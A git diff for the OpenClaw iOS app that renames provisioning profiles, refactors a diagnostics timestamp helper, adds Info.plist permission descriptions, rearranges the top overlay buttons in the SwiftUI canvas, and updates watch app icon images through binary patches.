ai.openclaw.client.activitywidget -OPENCLAW_APP_PROFILE = ai.openclaw.ios Development -OPENCLAW_SHARE_PROFILE = ai.openclaw.ios.share Development +OPENCLAW_APP_PROFILE = ai.openclaw.client Development +OPENCLAW_SHARE_PROFILE = ai.openclaw.client.share Development // Keep local includes after defaults: xcconfig is evaluated top-to-bottom, // so later assignments in local files override the defaults above. diff --git a/apps/ios/Sources/Gateway/GatewaySettingsStore.swift b/apps/ios/Sources/Gateway/GatewaySettingsStore.swift index d91d2217741..37c039d69d1 100644 --- a/apps/ios/Sources/Gateway/GatewaySettingsStore.swift +++ b/apps/ios/Sources/Gateway/GatewaySettingsStore.swift @@ -412,11 +412,11 @@ enum GatewayDiagnostics { private static let keepLogBytes: Int64 = 256 * 1024 private static let logSizeCheckEveryWrites = 50 private static let logWritesSinceCheck = OSAllocatedUnfairLock(initialState: 0) - private static let isoFormatter: ISO8601DateFormatter = { - let f = ISO8601DateFormatter() - f.formatOptions = [.withInternetDateTime, .withFractionalSeconds] - return f - }() + private static func isoTimestamp() -> String { + let formatter = ISO8601DateFormatter() + formatter.formatOptions = [.withInternetDateTime, .withFractionalSeconds] + return formatter.string(from: Date()) + } private static var fileURL: URL? { FileManager.default.urls(for: .cachesDirectory, in: .userDomainMask).first? @@ -476,7 +476,7 @@ enum GatewayDiagnostics { guard let url = fileURL else { return } queue.async { self.truncateLogIfNeeded(url: url) - let timestamp = self.isoFormatter.string(from: Date()) + let timestamp = self.isoTimestamp() let line = "[\(timestamp)] gateway diagnostics started\n" if let data = line.data(using: .utf8) { self.appendToLog(url: url, data: data) @@ -486,7 +486,7 @@ enum GatewayDiagnostics { } static func log(_ message: String) { - let timestamp = self.isoFormatter.string(from: Date()) + let timestamp = self.isoTimestamp() let line = "[\(timestamp)] \(message)" logger.info("\(line, privacy: .public)") diff --git a/apps/ios/Sources/Info.plist b/apps/ios/Sources/Info.plist index 00f7f48029f..ea65f194a8d 100644 --- a/apps/ios/Sources/Info.plist +++ b/apps/ios/Sources/Info.plist @@ -2,6 +2,10 @@ + BGTaskSchedulerPermittedIdentifiers + + ai.openclaw.ios.bgrefresh + CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleDisplayName @@ -33,6 +37,8 @@ CFBundleVersion 20260307 + ITSAppUsesNonExemptEncryption + NSAppTransportSecurity NSAllowsArbitraryLoadsInWebContent @@ -52,6 +58,10 @@ OpenClaw uses your location when you allow location sharing. NSMicrophoneUsageDescription OpenClaw needs microphone access for voice wake. + NSMotionUsageDescription + OpenClaw may use motion data to support device-aware interactions and automations. + NSPhotoLibraryUsageDescription + OpenClaw needs photo library access when you choose existing photos to share with your assistant. NSSpeechRecognitionUsageDescription OpenClaw uses on-device speech recognition for voice wake. NSSupportsLiveActivities @@ -66,10 +76,6 @@ audio remote-notification - BGTaskSchedulerPermittedIdentifiers - - ai.openclaw.ios.bgrefresh - UILaunchScreen UISupportedInterfaceOrientations diff --git a/apps/ios/Sources/RootCanvas.swift b/apps/ios/Sources/RootCanvas.swift index 3fc62d7e859..4d6efa3fa71 100644 --- a/apps/ios/Sources/RootCanvas.swift +++ b/apps/ios/Sources/RootCanvas.swift @@ -264,61 +264,65 @@ private struct CanvasContent: View { var openSettings: () -> Void private var brightenButtons: Bool { self.systemColorScheme == .light } + private var talkActive: Bool { self.appModel.talkMode.isEnabled || self.talkEnabled } var body: some View { - ZStack(alignment: .topTrailing) { + ZStack { ScreenTab() - - VStack(spacing: 10) { - OverlayButton(systemImage: "text.bubble.fill", brighten: self.brightenButtons) { - self.openChat() - } - .accessibilityLabel("Chat") - - if self.talkButtonEnabled { - // Talk mode lives on a side bubble so it doesn't get buried in settings. - OverlayButton( - systemImage: self.appModel.talkMode.isEnabled ? "waveform.circle.fill" : "waveform.circle", - brighten: self.brightenButtons, - tint: self.appModel.seamColor, - isActive: self.appModel.talkMode.isEnabled) - { - let next = !self.appModel.talkMode.isEnabled - self.talkEnabled = next - self.appModel.setTalkEnabled(next) - } - .accessibilityLabel("Talk Mode") - } - - OverlayButton(systemImage: "gearshape.fill", brighten: self.brightenButtons) { - self.openSettings() - } - .accessibilityLabel("Settings") - } - .padding(.top, 10) - .padding(.trailing, 10) } .overlay(alignment: .center) { - if self.appModel.talkMode.isEnabled { + if self.talkActive { TalkOrbOverlay() .transition(.opacity) } } .overlay(alignment: .topLeading) { - StatusPill( - gateway: self.gatewayStatus, - voiceWakeEnabled: self.voiceWakeEnabled, - activity: self.statusActivity, - brighten: self.brightenButtons, - onTap: { - if self.gatewayStatus == .connected { - self.showGatewayActions = true - } else { + HStack(alignment: .top, spacing: 8) { + StatusPill( + gateway: self.gatewayStatus, + voiceWakeEnabled: self.voiceWakeEnabled, + activity: self.statusActivity, + brighten: self.brightenButtons, + onTap: { + if self.gatewayStatus == .connected { + self.showGatewayActions = true + } else { + self.openSettings() + } + }) + .layoutPriority(1) + + Spacer(minLength: 8) + + HStack(spacing: 8) { + OverlayButton(systemImage: "text.bubble.fill", brighten: self.brightenButtons) { + self.openChat() + } + .accessibilityLabel("Chat") + + if self.talkButtonEnabled { + // Keep Talk mode near status controls while freeing right-side screen real estate. + OverlayButton( + systemImage: self.talkActive ? "waveform.circle.fill" : "waveform.circle", + brighten: self.brightenButtons, + tint: self.appModel.seamColor, + isActive: self.talkActive) + { + let next = !self.talkActive + self.talkEnabled = next + self.appModel.setTalkEnabled(next) + } + .accessibilityLabel("Talk Mode") + } + + OverlayButton(systemImage: "gearshape.fill", brighten: self.brightenButtons) { self.openSettings() } - }) - .padding(.leading, 10) - .safeAreaPadding(.top, 10) + .accessibilityLabel("Settings") + } + } + .padding(.horizontal, 10) + .safeAreaPadding(.top, 10) } .overlay(alignment: .topLeading) { if let voiceWakeToastText, !voiceWakeToastText.isEmpty { @@ -334,6 +338,12 @@ private struct CanvasContent: View { isPresented: self.$showGatewayActions, onDisconnect: { self.appModel.disconnectGateway() }, onOpenSettings: { self.openSettings() }) + .onAppear { + // Keep the runtime talk state aligned with persisted toggle state on cold launch. + if self.talkEnabled != self.appModel.talkMode.isEnabled { + self.appModel.setTalkEnabled(self.talkEnabled) + } + } } private var statusActivity: StatusPill.Activity? { diff --git a/apps/ios/Tests/Info.plist b/apps/ios/Tests/Info.plist index a2cb4ee4ef3..0840e60efb0 100644 --- a/apps/ios/Tests/Info.plist +++ b/apps/ios/Tests/Info.plist @@ -15,10 +15,10 @@ CFBundleName $(PRODUCT_NAME) CFBundlePackageType - BNDL - CFBundleShortVersionString - 2026.3.7 - CFBundleVersion - 20260307 - - + BNDL + CFBundleShortVersionString + 2026.3.7 + CFBundleVersion + 20260307 + + diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-38@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-38@2x.png index 82829afb947e2eab87442e658f7fc2ed03aaae66..fa192bff24d32a82c7840385a6643d0a49891bd6 100644 GIT binary patch literal 5751 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 P;{w!_wUjEKn1}oawBO|v literal 7845 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 diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-40@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-40@2x.png index 114d4606420cb4dd8c3955d572a6b98521254b14..7f7774e81dfb483faa0a70b0c7d141417c4f59c5 100644 GIT binary patch literal 6619 zcmZ{Ibx_Ld<2tGi7 z;LEqW?^V4&UUhZfuG{z2sXC{tt8T|=YAE94P~iXofUm41r~MRP|7U_wpVo(~QY!#J z0UTsyH65&;wvaR{b93=N0G$I953kLSSzh{B1BWO{3+Ip!0to}-5vRPzg}9-8E_a=$ zcjP+Q)QZA&D=8v>jn`0?(XgFCBw%BL0xo!j)@!wI?xQIJ48F|SuUO*-WZ-g>?2VGN(4g$B~UUaB{fF= zaPTAvy_J%-Iso{y06-`L0B)XAp??6tiyHv;%>h6(0{|%8vfH)9pAIlBRTbrc$N!Aa zU8N~c87xm_b$P6PG%S2RtbvM#qbG4C{B>V@YFqfwyScmCIyl+Td-}QA(EqpEtVuaK zi&ca4cz30-oPGb8c9@uyY929j+X|dg?-yud=tXRYY1RIH6X|4s%@30w$7ab`D(Rpd zei!Z(2THb1B11W}e?BZq#LrGic^9pqZz5ol>C=C2FpRW$D5$h7>Iz|HjDxO3&INJt zpOt0IR=-uVyW`9|i^Jk;A+02l3%ee`ScpIVsucyWQ254S-Fx-0uhTKiIEE z>QAFZ{`BYlqFip&6ln49sA}e=?of0U#iHSPKTVC~lZG>@>Q}|j#vaVq7F^dRa4LLe z`8cgI4T@-W_mmI6?k9dB-uhv+o%dB%Lxbu8CEBdp4vm%kKi8MpQ~tH5wS}jRsFl0T zQvi6mc?CJSc{zD`ba{kC1^7e-1YU4+i*j>=mG}MrAAqx~wS%qS{~usMsy*}sVEw-g zo(|479-bD?ZvTtn~*x7pmimtA9 zPd+QVSiPj@<>nEr#N`uyswDkCmDV;MR_+dNo(`@qfQPoCO#259EC3*fD$7ah`Y!F5 z`1wMI(jL3Y_j6TSIF>~NE${@Rc!Z(2C}?5ea0W2FQ+*gyui{I33kH}B=o@Bd7OXlE z0qt1)Fo4JchF2IEC=d`Qr#LI9aep(%x3fPGWxknJJ=e!SnOai}4&upo%pE5)r8ONT 